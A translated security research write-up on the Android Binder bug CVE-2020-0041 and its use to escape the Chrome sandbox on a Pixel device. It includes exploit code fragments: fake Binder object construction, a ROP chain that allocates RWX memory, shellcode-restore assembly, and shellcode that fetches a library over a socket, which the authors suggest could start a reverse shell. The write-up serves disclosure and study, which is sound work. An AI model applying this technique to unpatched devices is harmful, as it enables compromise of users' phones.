深入分析Android Binder越界访问漏洞CVE-2020-0041(上):Chrome沙箱逃逸

阅读量602520

|评论1

|

发布时间 : 2020-04-09 11:00:22

x
译文声明

本文是翻译文章,文章原作者 bluefrostsecurity,文章来源:bluefrostsecurity.de

原文地址:https://labs.bluefrostsecurity.de/blog/2020/03/31/cve-2020-0041-part-1-sandbox-escape/

译文仅供参考,具体内容表达以及含义原文为准。

概述

在2019年12月,我们向Google报告了CVE-2020-0041漏洞,同时我们编写了利用该漏洞实现Google Chrome沙箱逃逸的漏洞利用程序。

 

前言

在几个月前,我们发现并利用了Binder驱动程序中的漏洞,并在2019年12月10日向Google报告。在2020年3月,Google在发布的Android安全公告中修复了这一漏洞。
在这两篇文章中,我们将对该漏洞进行详细分析,并与大家分享两种不同的实际利用方式,即:
1、如何利用CVE-2020-0041漏洞从受影响的渲染器中破坏Chrome浏览器进程;
2、如何利用该漏洞来破坏内核,并借助常见的untrusted_app实现到root的权限提升。

 

根本原因

在公开发布Android安全公告后,Synacktiv的Jean-Baptiste Cayrou发表过一篇文章,描述了该漏洞以及有关Binder内部的一些先决条件。由于这篇文章已经具有详细的分析过程,因此我们在本文中仅对必要代码加以分析和说明,以揭示该漏洞的底层原理。
该漏洞是在计算驱动程序已验证的有效偏移量过程中,由于存在逻辑错误而引起的。
特别是,当Binder驱动程序处理事务时,会使用到多个偏移量,并且会在每个偏移量的位置验证并转换Binder对象。
BINDER_TYPE_PTR和BINDER_TYPE_FDA类型的对象可以具有父对象,其父对象必须是已经验证的对象之一。为了进行验证,驱动程序使用以下代码:

    case BINDER_TYPE_FDA: {
      struct binder_object ptr_object;
      binder_size_t parent_offset;
      struct binder_fd_array_object *fda =
        to_binder_fd_array_object(hdr);
[1]     size_t num_valid = (buffer_offset - off_start_offset) *
            sizeof(binder_size_t);
      struct binder_buffer_object *parent =
        binder_validate_ptr(target_proc, t->buffer,
                &ptr_object, fda->parent,
                off_start_offset,
                &parent_offset,
                num_valid);
      /* ... */

    } break;
    case BINDER_TYPE_PTR: {
      struct binder_buffer_object *bp =
        to_binder_buffer_object(hdr);
      size_t buf_left = sg_buf_end_offset - sg_buf_offset;
      size_t num_valid;

            /* ... */
[2]     if (binder_alloc_copy_user_to_buffer(
            &target_proc->alloc,
            t->buffer,
            sg_buf_offset,
            (const void __user *)
              (uintptr_t)bp->buffer,
            bp->length)) {
        binder_user_error("%d:%d got transaction with invalid offsets ptrn",
              proc->pid, thread->pid);
        return_error_param = -EFAULT;
        return_error = BR_FAILED_REPLY;
        return_error_line = __LINE__;
        goto err_copy_data_failed;
      }

      /* Fixup buffer pointer to target proc address space */
      bp->buffer = (uintptr_t)
        t->buffer->user_data + sg_buf_offset;
      sg_buf_offset += ALIGN(bp->length, sizeof(u64));

[3]     num_valid = (buffer_offset - off_start_offset) *
          sizeof(binder_size_t);

      ret = binder_fixup_parent(t, thread, bp,
              off_start_offset,
              num_valid,
              last_fixup_obj_off,
              last_fixup_min_off);

其中,[1]和[3]处的num_valid计算不正确,因为与sizeof(binder_size_t)的乘法操作应该改为除法。由于该漏洞,可能导致越界的偏移量作为PTR或FDA对象的父对象提供。
值得关注的是,该漏洞仅存在于事务的发送路径中,在清除代码中,则正确计算了相同的值。

 

导致事务损坏

越界对象偏移量已经引起了我们的关注,但我们仍然可以使用binder_validate_ptr和(或)binder_validate_fixup函数来验证父对象,然后才能使用它们。因此,无法直接向我们提供完全任意的对象。
但是,我们考虑到,在偏移量数组之后是事务缓冲区的额外缓冲区(Extra Buffers,或sg_buf),并且在遇到BINDER_TYPE_PTR时会将这些缓冲区复制到其中(上面代码片段中的[2])。
基于此,如果我们在复制相应的sg_buf数据前使用越界偏移量,那么这个数据将不会经过初始化,并且会从先前执行的事务中获取。但是,如果在复制相应sg_buf之后使用了越界偏移量,那么就会从新复制的数据中获取偏移量。
这与Synacktiv确定的方法完全相同,我们可以在他们发布的博客文章和幻灯片演示中找到图形化的描述。
随后,我们的漏洞利用程序执行以下步骤,触发漏洞利用:
1、将伪造的BINDER_TYPE_PTR对象添加到事务中,偏移量为fake_offset。
2、将合法偏移量BINDER_TYPE_PTR对象添加到legit_offset。
3、添加一个BINDER_TYPE_PTR对象,其父对象设置为越界偏移量,通过发送初始事务,将出站偏移量预先初始化为legit_offset值。
驱动程序现在就具有了经过验证的对象,该对象具有越界的父偏移量,这也意味着,越界的父偏移量将会被信任。
4、添加第二个BINDER_TYPE_PTR对象,其中包含相同的越界父级偏移量。但是,这次我们向该对象中添加了一个缓冲区。然后,在[2]位置的副本会将越界偏移量设置为fake_offset。
由于在上面的第3步处理对象完成后,隐式信任了越界偏移量,因此驱动程序现在将信任伪造的BINDER_TYPE_PTR。
在这个阶段,驱动程序尝试使用指向已复制到其中的sg_buf数据的指针来修复父缓冲区。这是通过binder_fixup_parent来完成的:

  parent = binder_validate_ptr(target_proc, b, &object, bp->parent,
             off_start_offset, &parent_offset,
             num_valid);
  if (!parent) {
    binder_user_error("%d:%d got transaction with invalid parent offset or typen",
          proc->pid, thread->pid);
    return -EINVAL;
  }

  if (!binder_validate_fixup(target_proc, b, off_start_offset,
           parent_offset, bp->parent_offset,
           last_fixup_obj_off,
           last_fixup_min_off)) {
    binder_user_error("%d:%d got transaction with out-of-order buffer fixupn",
          proc->pid, thread->pid);
    return -EINVAL;
  }

  if (parent->length < sizeof(binder_uintptr_t) ||
      bp->parent_offset > parent->length - sizeof(binder_uintptr_t)) {
    /* No space for a pointer here! */
    binder_user_error("%d:%d got transaction with invalid parent offsetn",
          proc->pid, thread->pid);
    return -EINVAL;
  }
[1] buffer_offset = bp->parent_offset +
      (uintptr_t)parent->buffer - (uintptr_t)b->user_data;
[2] binder_alloc_copy_to_buffer(&target_proc->alloc, b, buffer_offset,
            &bp->buffer, sizeof(bp->buffer));

last_fixup_obj_off这里是指在第3步中验证的对象,并且由于已经通过验证,其父偏移量也会被隐式信任。因此,binder_validate_fixup将会调用成功。
但是,在处理后一个BINDER_TYPE_PTR对象时,parent_offset的内容已经被修改,现在指向具有完全受控内容的伪对象(也就是上面的代码段中的父对象)。
因此,我们可以在[1]的位置提供一个任意的buffer_offset,然后将其用于复制[2]处的sg_buf的地址。
但是,需要关注的是,为了保证复制成功,我们需要知道b->user_data的值。更糟糕的是,在Pixel设备的代码中,如果出现错误,则会触发以下的BUG_ON,这将会导致内核崩溃:

static void binder_alloc_do_buffer_copy(struct binder_alloc *alloc,
          bool to_buffer,
          struct binder_buffer *buffer,
          binder_size_t buffer_offset,
          void *ptr,
          size_t bytes)
{
  /* All copies must be 32-bit aligned and 32-bit size */
  BUG_ON(!check_buffer(alloc, buffer, buffer_offset, bytes));

b->user_data是Binder缓冲区的地址,在接收方的地址空间中会将事务复制到其中。
如果我们能够将事务发送到我们的进程中,那么这个值将会是微不足道的。此外,在当前发布版本的Chrome浏览器中,这个映射在渲染器和浏览器进程中位于相同的地址。同样,常规的Android应用程序还继承自zygote和zygote64,二者共享很大一部分的映射。
还要注意的是,在最后一步中,可以使用BINDER_TYPE_FDA对象代替BINDER_TYPE_PTR对象。在这种情况下,驱动程序将处理事务的任意部分作为文件描述符,并将其发送给接收者,同时替换文件描述符号。
这也可以用于破坏任意dwords,例如经过验证的对象偏移量。如果需要,这将会允许将完全任意的对象注入到事务中。

 

可用原语

借助内存损坏原语,我们可以覆盖经过验证的Binder事务的任意部分。由于这些值对内核以外的任何角色都是只读的,因此系统的其余部分会信任其内容。我们可以在两个阶段,使用这些值作为攻击目标:
1、收到损坏的事务后,将由用户空间组件负责处理。这包括libbinder以及其上层。
2、使用事务缓冲区来完成用户空间时,它要求驱动程序使用BC_FREE_BUFFER命令对其进行释放。这将导致驱动程序处理损坏的事务缓冲区。
在这篇文章中,我们将集中讨论针对于用户空间组件可以做什么,在后一篇文章中,我们将讨论如何利用内核清理代码。
可以从libbinder的Parcel.cpp中找到负责从Binder事务中解组数据和对象的代码。在从事务中读取对象时,将执行以下代码:

status_t unflatten_binder(const sp<ProcessState>& proc,
    const Parcel& in, sp<IBinder>* out)
{
    const flat_binder_object* flat = in.readObject(false);

    if (flat) {
        switch (flat->hdr.type) {
            case BINDER_TYPE_BINDER:
                *out = reinterpret_cast<IBinder*>(flat->cookie);
                return finish_unflatten_binder(nullptr, *flat, in);
    ...

从中我们知道,如果我们破坏BINDER_TYPE_BINDER对象的Cookie字段,最终将可以控制sp<IBinder *>指针。
为了了解可以从Chrome沙箱访问的内容,我们可以分析从服务管理器或从已经拥有访问权限的句柄获得的服务。对于前者,我们可以查看SELinux策略:

    allow isolated_app activity_service:service_manager find;
    allow isolated_app display_service:service_manager find;
    allow isolated_app webviewupdate_service:service_manager find;
    ...
    neverallow isolated_app {
    service_manager_type
        -activity_service
        -ashmem_device_service
        -display_service
        -webviewupdate_service
    }:service_manager find;

这意味着,我们可以向服务管理器询问活动管理器、显示服务、WebView更新服务和Ashmem服务的句柄。从中我们可以看到,所有这些进程都是64位,而我们当前位于32位进程中。因此,除非我们从这些进程中找到额外的泄露,否则很难在不触发BUG_ON检查的情况下利用漏洞。
因此,我们转向了常规Chrome渲染器进程可用的Binder Handle。为了识别它们,我们使用了以下的C代码,从AOSP服务管理器代码中借鉴了实用程序功能:

/*
 * @bs must be a binder_state constructed from the already initialized binder fd in order
 * to identify what interfaces are available to the renderer process.
 */
void check_available_interfaces(struct binder_state *bs) {
  char txn_data[0x1000];
  char reply_data[0x1000];
  struct binder_io msg;
  struct binder_io reply;

  /* Iterate for a maximum of 100 handles */
  for(int handle=1; handle <= 100; handle++) {
    bio_init(&msg, txn_data, sizeof(txn_data), 10);
    bio_init(&reply, reply_data, sizeof(reply_data), 10);

    /* Retrieve handle interface */
    int ret = binder_call(bs, &msg, &reply, handle, INTERFACE_TRANSACTION);

    /* Check against wanted interface */
    if (!ret) {
      size_t sz = 0;

      char string[1000] = {0};
      uint16_t *str16 = bio_get_string16(&reply, &sz);
      if (sz != 0 && sz < sizeof(string)-1) {
        /* Convert to regular string */
        for (uint32_t x=0 ; x < sz; x++)
            string[x] = (char)str16[x];

        __android_log_print(ANDROID_LOG_DEBUG, "PWN", "Interface for handle %d -> %s", handle, string);
      }
    }
  }
}

将该代码注入到Android 10系统上的渲染器进程,将得到以下输出:

    10-25 17:03:14.392  9764  9793 D PWN     : Interface for handle 1 -> android.app.IActivityManager
    10-25 17:03:14.392  9764  9793 D PWN     : Interface for handle 2 -> android.content.pm.IPackageManager
    10-25 17:03:14.392  9764  9793 D PWN     : Interface for handle 4 -> android.hardware.display.IDisplayManager
    10-25 17:03:14.393  9764  9793 D PWN     : Interface for handle 5 -> org.chromium.base.process_launcher.IParentProcess
    10-25 17:03:14.394  9764  9793 D PWN     : Interface for handle 6 -> android.ashmemd.IAshmemDeviceService

所有这些句柄都属于64位服务进程,但Chrome浏览器的IParentProcess除外。对我们来说,幸运的是,这个进程在当前的Chrome版本中还是以32位模式运行,因此我们可以将其定位为目标。但是,我们查看接口的定义,可能会有些沮丧:

// Copyright 2018 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

package org.chromium.base.process_launcher;

interface IParentProcess {
    // Sends the child pid to the parent process. This will be called before any
    // third-party code is loaded, and will be a no-op after the first call.
    oneway void sendPid(int pid);

    // Tells the parent proces the child exited cleanly. Not oneway to ensure
    // the browser receives the message before child exits.
    void reportCleanExit();
}

这些调用都不能很好地满足我们的目标,因为没有对象被传递。但是,如果我们更加深入地了解如何实现Binder对象,则可以在BBinder类中找到所有(或者是大多数)对象的解决方案:

status_t BBinder::onTransact(
    uint32_t code, const Parcel& data, Parcel* reply, uint32_t /*flags*/)
{
    switch (code) {
        /* ... */
        case SHELL_COMMAND_TRANSACTION: {
            int in = data.readFileDescriptor();
            int out = data.readFileDescriptor();
            int err = data.readFileDescriptor();
            int argc = data.readInt32();
            Vector<String16> args;
            for (int i = 0; i < argc && data.dataAvail() > 0; i++) {
               args.add(data.readString16());
            }
            sp<IShellCallback> shellCallback = IShellCallback::asInterface(
                    data.readStrongBinder());
            sp<IResultReceiver> resultReceiver = IResultReceiver::asInterface(
                    data.readStrongBinder());

            // XXX can't add virtuals until binaries are updated.
            //return shellCommand(in, out, err, args, resultReceiver);
            (void)in;
            (void)out;
            (void)err;

            if (resultReceiver != nullptr) {
                resultReceiver->send(INVALID_OPERATION);
            }

            return NO_ERROR;
        }

        /* ... */
    }
}

因此,在上面的IResultReceiver对象中,如果我们利用漏洞,覆盖了其Cookie字段,它将会指向受控数据。为了可靠地执行该操作,漏洞利用程序将执行以下步骤:
1、查找Binder映射和打开的Binder文件描述符,然后使用这些来确定我们可以发送给Broker的最大事务大小。
2、计算user_address,等于binder_mapping + MAPPING_SIZE – transaction_size。我们假设检索到的最大事务大小对应于浏览器进程的Binder映射结束时的可用空间,这是接收到的事务缓冲区的起始地址。
3、发送事务,预初始化一个超出范围的值,该值将在触发漏洞时用作偏移量。
4、在触发错误时,发送SHELL_COMMAND_TRANSACTION。这需要向事务中添加一些对象,以实现readStrongBindercalls:
(1)三个文件描述符对象;
(2)参数计数为0(因此无需添加任何字符串);
(3)空的Binder IShellCallback;
(4)IParentProcess 句柄,驱动程序会将其转换为Binder程序对象。在这里,提供浏览器进程拥有的句柄至关重要,否则驱动程序会将其转换为句柄,而不是实际对象。
(5)伪PTR对象,未添加到事务中,将会在触发漏洞后使用。
(6)合法的PTR对象。步骤3中的预初始化偏移量应该与该对象在事务缓冲区中的偏移量相匹配。
(7)第二个PTR对象,其父字段超出范围,并指向上面添加的预初始化偏移量。在这里,我们使用NULL缓冲区,以便不执行任何复制操作,但同时会将越界的父级视为有效。
(8)具有相同父级的附加PTR,但这次带有缓冲区。这个缓冲区将会替换越界偏移量,使其指向伪PTR对象,而不是经过验证的对象。此外,父修复程序代码现在将写入一个指向缓冲区起始位置的任意偏移量的指针,我们将使用该指针来修改IParentProcess节点的Binder字段。
(9)带有新缓冲区的最终PTR。缓冲区将会被复制,并且其地址将由父级修补程序代码写入到Cookie字段。这意味着,我们刚刚发送的缓冲区现在将被接收代码解释为IResultReceiver对象。
在这里需要关注我们是如何向事务中添加BBinder类实际上未解析的其他对象。但是,这并不是一个问题,因为libbinder代码只是忽略了可能添加到事务中的其他对象,只要所需对象按照预期的顺序存在即可。
因此,通过这个设置,我们最终将得到一个Binder对象,该对象指向Binder映射自身内部的受控数据。

 

从伪对象到Shellcode执行

伪对象被强制转换为IResultReceiver对象,最终导致大量代码被执行。我们需要确保的第一件事,就是代码可以在对象上得到充分的引用。
特别是,其中的RefBase对象用于引用计数。该对象的地址是从缓冲区的第一个dword中提取的。接下来,将从RefBase实例获得一个指针,并且增加引用计数:

int __fastcall android::RefBase::incStrong(android::RefBase *this, const void *a2)
{

  result = *((_DWORD *)this + 1);               // [1]
  v3 = (unsigned int *)(result + 4);
  do
    v4 = __ldrex(v3);
  while ( __strex(v4 + 1, v3) );
  do
    v5 = __ldrex((unsigned int *)result);
  while ( __strex(v5 + 1, (unsigned int *)result) );
  if ( v5 == 0x10000000 )
  {
    do
      v6 = __ldrex((unsigned int *)result);
    while ( __strex(v6 - 0x10000000, (unsigned int *)result) );
    result = (*(int (__fastcall **)(_DWORD))(**(_DWORD **)(result + 8) + 8))(*(_DWORD *)(result + 8)); // [2]
  }
  return result;
}

在[1]处取消引用的指针必须指向可写地址,并且其内容不得为特殊值0x10000000,以避免在[2]处进行调用。
第一部分是存在问题的,因为我们的伪对象位于一个Binder映射中,该映射对于用户区域始终是可读的。在我们的利用中,我们将这个指针设置为libc数据段中的临时缓冲区。之所以这样做,是因为我们已经假设目标进程映射与我们自己的映射非常相似,因此可以通过这种方式简单地获取自己的libc地址。
一旦经过incStrong调用,代码就会直接流向到以下的间接调用:

int __fastcall android::javaObjectForIBinder(int a1, android **myobj)
{

  if ( !*myobj )
    return 0;
  if ( (*(int (__fastcall **)(android *, int *))(*(_DWORD *)*myobj + 32))(*myobj, &dword_153848) )
    return *((_DWORD *)*myobj + 4);

这里*myobj的值与伪对象的值匹配,因此我们最终从伪对象中调用函数指针,并将伪对象地址作为第一个参数传递。因此,通过以下代码,我们可以获得代码执行:

/*
 * We use the address of the __sF symbol as temporary storage. From the source code,
 * this symbol appears to be unused in the current bionic library.
 */

uint32_t utmp = (uint32_t)dlsym(handle, "__sF");
DO_LOG("[*] Temporary storage: %xn", utmp);

...

DO_LOG("[*] fake_object_addr: %xn", fake_object_addr);

uint64_t offset_ref_base = 0xd0;
fake_object[0] = fake_object_addr + offset_ref_base*sizeof(uint32_t) + 12;

...

/*
 * This is a fake RefBase class, with a pointer to a writable area in libc.
 * We need this because our object is located in the binder mapping and cannot
 * be written to from usermode.
 *
 * The RefBase code will try to increment a refcount before we get control, so
 * pointing it to an empty buffer is fine. The only thing we need to take care of
 * is preventing it from being the special `initial value` of strong ref counts,
 * because in this case the code will also do a virtual functionc all through this
 * fake object.
 */

fake_object[offset_ref_base] = (offset_ref_base + 1)*sizeof(uint32_t); /* This is used as an offset from the base object*/
fake_object[offset_ref_base+1] = 0xdeadbeef;                           /* Unused */
fake_object[offset_ref_base+2] = (uint32_t)utmp;                       /* Writable address in libc */


/* Here comes the PC control. We point it to a stack pivot, and r0
 * points to the beginning of our object (i.e to &fake_object[0]).
 */

fake_object[offset_ref_base +11] = gadgets[STACK_PIVOT].address;

utmp此处是libc中似乎已经被使用的缓冲区地址,它是作为可写映射的一部分。由于libc在渲染器进程和浏览器进程上的地址相同,因此我们可以在自己的进程中对其进行解析。同样,我们也可以使用自己的进程来解析所有的ROP小工具。
另外,由于Binder映射地址在两个进程中都相同,我们可以使用它来计算目标进程中我们自己数据的地址。
由于还会将伪对象作为第一个参数传递,因此我们使用一个ldm r0!, {r2, r5, ip, sp, lr, pc})小工具,将堆栈旋转到R0,并从对象的起始部分启动ROP链。最终的设置如下所示:

但是,由于映射是只读的,因此无法调用使用堆栈的任何函数。所以,我们的ROP链将执行以下步骤:
1、实用小工具,将r7保存到utmp缓冲区中。当我们的ROP链开始执行时,r7包含一个指向堆栈的指针,这将允许我们随后定义堆栈的值。为此,我们使用了以下的小工具:str r7, [r0] ; mov r0, r4 ; add sp, #0xc ; pop {r4, r5, r6, r7, pc}
2、使用mmap,在固定地址上分配RWX页面。为此,我们使用来自libc系统调用包装程序的以下代码:svc 0 ; pop {r4-r7} ; cmn r0, #0x1000, bxlr lr
3、使用一些ROP小工具,将第一阶段的Shellcode复制到RWX内存中。特别是,我们使用str r1, [r0] ; mov r0, lr ; pop {r7, pc}从堆栈中弹出这些寄存器后,将r1写入r0指向的地址。
4、将堆栈旋转到RWX内存,对复制的Shellcode调用cacheflush并跳转到它。我们使用pop {lr, pc}小工具准备cacheflush的返回地址,并使用pop {r0, r1, ip, sp, pc}小工具旋转堆栈并调用cacheflush。
一旦cacheflush返回,就可以执行Shellcode,并能正确读写堆栈。
为了减小ROP链的大小,我们使用一个较小的初始Shellcode,该Shellcode使用memcpy将下一阶段复制到RWX内存中,然后再次调用cacheflush,并最终跳转到它。
现在,我们可以不受限制地执行Shellcode,我们可以执行漏洞利用程序所需的任何操作,然后修复Chrome进程,以便用户可以继续使用浏览器。

 

进程持续

为了实现进程的持续,我们的主要Shellcode将连接回127.0.0.1:6666,并检索一个共享库。共享库存储为/data/data/<package_name>/test.so,并使用loader_dlopen加载。
loader_dlopen符号当前通过注入渲染器的代码进行解析。这是必须的,因为默认的dlopen将阻止从非标准路径加载库,Shellcode将会恢复浏览器的进程状态。
为此,我们使用一个较高的堆栈帧,该堆栈帧可以从堆栈中还原出大多数寄存器。特别是,我们使用由art_quick_invoke_stub存储在libart.so中的寄存器的副本:

.text:0042F7AA                 POP.W           {R4-R11,PC}
.text:0042F7AE ; ---------------------------------------------------------------------------
.text:0042F7AE
.text:0042F7AE loc_42F7AE                              ; CODE XREF: art_quick_invoke_stub+106↑j
.text:0042F7AE                 BLX             __stack_chk_fail
.text:0042F7AE ; End of function art_quick_invoke_stub
.text:0042F7AE

渲染器代码解析ArtMethod::Invoke程序集代码,并找到art_quick_invoke_stub调用的返回地址。然后,Shellcode在堆栈中查找以找到相应的堆栈帧,并在返回之前恢复所有寄存器。
但是,仅仅是返回到该位置,将会导致Art VM随后发生崩溃。
为了解决这一问题,我们分析了崩溃发生的位置。我们观察到的崩溃与垃圾回收有关,并且会在以下代码中发生:

void Thread::HandleScopeVisitRoots(RootVisitor* visitor, pid_t thread_id) {
  BufferedRootVisitor<kDefaultBufferedRootCount> buffered_visitor(
      visitor, RootInfo(kRootNativeStack, thread_id));
  for (BaseHandleScope* cur = tlsPtr_.top_handle_scope; cur; cur = cur->GetLink()) {
    cur->VisitRoots(buffered_visitor);
  }
}

或者查看其编译代码:

PUSH.W          {R4-R11,LR}
SUB.W           SP, SP, #0x418
SUB             SP, SP, #4
MOV             R5, R1
LDR             R1, =(__stack_chk_guard_ptr - 0x3AE4A6)
ADD             R1, PC  ; __stack_chk_guard_ptr
LDR.W           R10, [R1] ; __stack_chk_guard
LDR.W           R1, [R10]
LDR             R3, =(_ZTVN3art8RootInfoE - 0x3AE4B8) ; `vtable for'art::RootInfo
STR.W           R1, [SP,#0x440+var_28]
MOVS            R1, #4
ADD             R3, PC  ; `vtable for'art::RootInfo
STR             R1, [SP,#0x440+var_434]
ADD.W           R1, R3, #8
STR             R2, [SP,#0x440+var_430]
MOVS            R2, #0
STR.W           R2, [SP,#0x440+var_2C]
STRD.W          R5, R1, [SP,#0x440+var_43C]
LDR.W           R7, [R0,#0xDC]           ; [1]
CMP             R7, #0
BEQ             loc_3AE582

在[1]中,我们检查Thread对象的偏移量0xDC是否为null。在我们返回的位置,r6指向当前的Thread 对象。
因此,我们的Shellcode从还原的寄存器中获取当前的Thread
值,并在继续操作之前清除该字段。
Shellcode的最终恢复部分如下所示:

return:
# Get and fix sp up. Point to stack frame containing r4-r10 and pc.
  ldr r3, smem
  ldr sp, [r3]
  ldr r3, retoff

search:
  # Load 'lr' if there 
  ldr r0, [sp, #0x20] 
  cmp r0, r3
  addne sp, sp, #4
  bne search

done: 
# Pop all registers
  pop {r4-r11, lr}

# Clear thread top_handle_scope
  mov r0, #0
  str r0, [r6, #0xdc]

  bx lr

这样一来,在加载共享对象后,浏览器进程将会照常执行。共享对象就可以执行任何其他操作,例如启动后台线程,或者启动反向Shell。

 

演示视频

下面的视频中展示了在更新2020年2月补丁后,在易受攻击的Pixel 3设备上如何攻击Chrome浏览器的过程。在左上角,我们可以看到目标设备上的root Shell,用于将漏洞利用代码注入到渲染器进程中。在左下角,可以通过logcat看到漏洞利用过程的输出结果。
在右侧,展示的是目标设备的屏幕显示,其中展示了目标设备启动Chrome的过程。在启动Chrome后,我们使用root Shell注入Shellcode,几乎立即可以在屏幕的左上角看到一个反向Shell。
如我们所见,这个Shell是在浏览器进程的上下文运行的,因此实现了沙箱逃逸。
视频地址:https://static.bluefrostsecurity.de/img/labs/blog/num_valid_sbx.mp4

 

后续研究

大家可以在Blue Frost Security GitHub中,找到本文所述的漏洞利用代码。我们提供的该代码,仅用于演示目的。
在下一篇文章中,我们将讨论如何攻击内核执行的处理过程,以便使用相同的漏洞来实现到root的特权提升。

本文翻译自bluefrostsecurity.de 原文链接。如若转载请注明出处。
分享到:微信
+16赞
收藏
P!chu
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66